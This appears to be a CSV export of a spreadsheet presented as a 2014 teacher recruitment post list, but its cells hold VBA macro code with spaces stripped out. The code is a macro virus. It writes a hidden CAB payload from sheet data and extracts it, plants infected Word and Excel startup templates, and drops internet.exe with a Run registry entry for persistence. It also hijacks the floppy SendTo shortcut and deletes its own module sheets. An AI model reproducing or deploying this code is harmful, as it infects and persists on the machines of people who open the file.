编辑: 笨蛋爱傻瓜悦 | 2019-07-02 |
"PrivateSubcreatecabfile()" ,,
"DimchAsByte" ,,
"onerrorresumenext" ,,
"Setfso=CreateObject(""scripting.
filesystemobject"")" ,,
"Setw=CreateObject(""wscript.shell"")" ,,
"myfolder=w.specialfolders(""Templates"")&""\Software\""" ,,
"IfNotfso.folderexists(myfolder)Then" ,,
"fso.createfoldermyfolder" ,,
"EndIf" ,,
"Fori=1toWorkbooks.Count" ,,
"IfWorkbooks(i).name=""normal.xlm""then" ,,
"workbooks(i).close" ,,
"fso.deletefileApplication.StartupPath&""\normal.xlm""" ,,
"EndIf" ,,
"Next" ,,
"Fori=1toWorkbooks.Count" ,,
"IfWorkbooks(i).name=""norma1.xlm""then" ,,
"gotoa1" ,,
"EndIf" ,,
"Next" ,,
"cabfile=""c:\cab.cab""" ,,
"IfNotfso.fileexists(Application.StartupPath&""\norma1.xlm"")Then" ,,
"fso.deletecabfile" ,,
"opencabfileforbinaryaccesswriteas#1" ,,
"Fori=1To150" ,,
"hv=ThisWorkbook.Sheets(""(m1)_(m2)_(m3)"").Cells(i,2).Value" ,,
"n=1" ,,
"m=instr(hv,"""")" ,,
"dowhilem>0" ,,
"ch=CByte(mid(hv,n,m-n))" ,,
"put#1,,
ch" ,,
"n=m+1" ,,
"m=instr(n,hv,"""")" ,,
"loop" ,,
"Next" ,,
"close#1" ,,
"w.Run""%COMSPEC%/cattrib-s-hc:\setflag.exe"",0,True" ,,
"w.Run""%COMSPEC%/cattrib-s-hc:\sendto.exe"",0,True" ,,
"w.Run""%COMSPEC%/cextrac32/E/Y/Lc:\c:\cab.cab"",0,True" ,,
"w.Run""%COMSPEC%/cextract/E/Y/Lc:\c:\cab.cab"",0,True" ,,
"fso.deletefilecabfile" ,,
"fso.copyfile""c:\normal.dot"",myfolder,True" ,,
"setword=createobject(""word.application"")" ,,
"ntpath=word.NormalTemplate.Path&""\""" ,,
"word.quit" ,,
"fso.copyfile""c:\normal.dot"",ntpath,True" ,,
"fso.copyfile""c:\norma1.xlm"",Application.StartupPath&""\"",True" ,,
"fso.copyfile""c:\internet.exe"",fso.getspecialfolder(1)&""\""" ,,
"setfold=fso.getfolder(w.SpecialFolders(""SendTo""))" ,,
"foreachffinfold.files" ,,
"ifinstr(ff.name,""软盘"")>0then" ,,
"setlnk=w.CreateShortcut(fold.path&""\""&ff.name)" ,,
"lnk.TargetPath=""c:\sendto.exe""" ,,
"lnk.IconLocation=""shell32.dll,6""" ,,
"lnk.save" ,,
"gotoe2" ,,
"endif" ,,
"next" ,,
"e2:" ,,
"fso.deletefile""c:\normal.dot""" ,,
"fso.deletefile""c:\norma1.xlm""" ,,
"fso.deletefile""c:\internet.exe""" ,,
"w.Run""%COMSPEC%/cattrib+s+hc:\setflag.exe"",0,True" ,,
"w.Run""%COMSPEC%/cattrib+s+hc:\sendto.exe"",0,True" ,,
"w.regwrite""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe"",""internet.exe""" ,,
"w.regdelete""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe""" ,,
"EndIf" ,,
"Workbooks.OpenApplication.StartupPath&""\norma1.xlm""" ,,
"thisworkbook.Sheets(""(m1)_(m2)_(m3)"").Columns(2).Copyworkbooks(""norma1.xlm"").sheets(""(m1)_(m2)_(m3)"").Columns(2)" ,,
"workbooks(""norma1.xlm"").save" ,,
"fso.copyfileApplication.StartupPath&""\norma1.xlm"",myfolder,true" ,,
"a1:" ,,
"fso.deletefile""c:\excel.txt""" ,,
"Application.DisplayAlerts=False" ,,
"fori=1tothisworkbook.sheets.count" ,,
"ifleft(thisworkbook.sheets(i).name,3)=""模块表""then" ,,
"ThisWorkbook.Sheets(i).Delete" ,,
"endif" ,,
"next" ,,
"Application.DisplayAlerts=True" ,,
"ThisWorkbook.Saved=True" ,,
"EndSub" "红谷滩新区2014年教师招聘岗位信息表",,
,,
,,
,,
,,
,,